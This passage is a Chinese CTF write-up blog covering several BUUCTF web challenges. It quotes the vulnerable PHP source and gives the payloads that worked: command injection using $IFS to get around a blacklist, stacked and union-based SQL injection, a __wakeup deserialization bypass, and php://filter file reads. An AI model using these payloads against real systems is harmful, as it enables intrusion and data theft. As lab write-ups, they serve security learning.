本文最后更新于 3 天前,其中的信息可能已经有所发展或是发生改变。
说在前面
打算重新刷一下buu,主播的暑假属实有些艰难了,去了不少医院,自己在家住,还被人盯上了,得亏主包敏感叫了警卫,不然真让偷家了,建议大家以后不要熬夜学习了o(╥﹏╥)o身体第一
[GXYCTF2019]Ping Ping Ping
读源码
http://568f64f9-c8b5-4dfc-b393-964911fa458d.node5.buuoj.cn:81?ip=127.0.0.1;cat$IFS$9index.php
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
ls命令可以看到flag.php
过滤的东西不少,拼接去读
http://568f64f9-c8b5-4dfc-b393-964911fa458d.node5.buuoj.cn:81?ip=127.0.0.1;b=lag.php;cat$IFS$9f$b
[SUCTF 2019]EasySQL
测试过滤了
union and or flag sleep update insert delete from等
测试发现可以堆叠注入
1;show databases;
根据回显看到
输入数字得到的回显1,但是输入其余字符得不到回显来判断出内部的查询语句可能存在有 ||
sql = "select $_POST['query'] || flag from Flag";
如此就很好理解了
1;select *,1
拼接后
select *,1 || flag from Flag
这样flag和1的结果都会是1
*`是数据库全部内容的意思
还有方法二
SQL_MOD:是MySQL支持的基本语法、校验规则
其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样
mysql> set sql_mode=pipes_as_concat;
Query OK, 0 rows affected (0.00 sec)
mysql> select 1||2||3||4;
+---------------+
| 1||2||3||4 |
+---------------+
| 1234 |
+---------------+
1 row in set (0.00 sec)
所以改完设置后可以将flag一起回显出来
1;set sql_mode=pipes_as_concat;select 1
[极客大挑战 2019]Http
查看源码,提示
http://node5.buuoj.cn:29510/Secret.php
然后跟着走即可,Referer头,User-Agent,Xff
http头验证
[极客大挑战 2019]PHP
www.zip下载源码
index.php
中
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php
反序列化
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
echo serialize(new Name());
?>
修改一下属性数量绕过__wakeup
即可
[极客大挑战 2019]Secret File
查看源代码
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
302抓包跳转得到,访问/secr3t.php
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
伪协议读
http://83e714c4-9d8c-4322-a2b2-de6ce0e71ae4.node5.buuoj.cn:81/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
[极客大挑战 2019]LoveSQL
admin' or 1=1#
获得admin密码
f26b2154ca0861480052e7511a59ffa9
带着密码去
-1' union select 1,2,database()#
-1' union select 1,2,group_concat(password) from l0ve1ysq1#
查看源码得到flag
[RoarCTF 2019]Easy Calc
查看源代码
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
cale.php
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>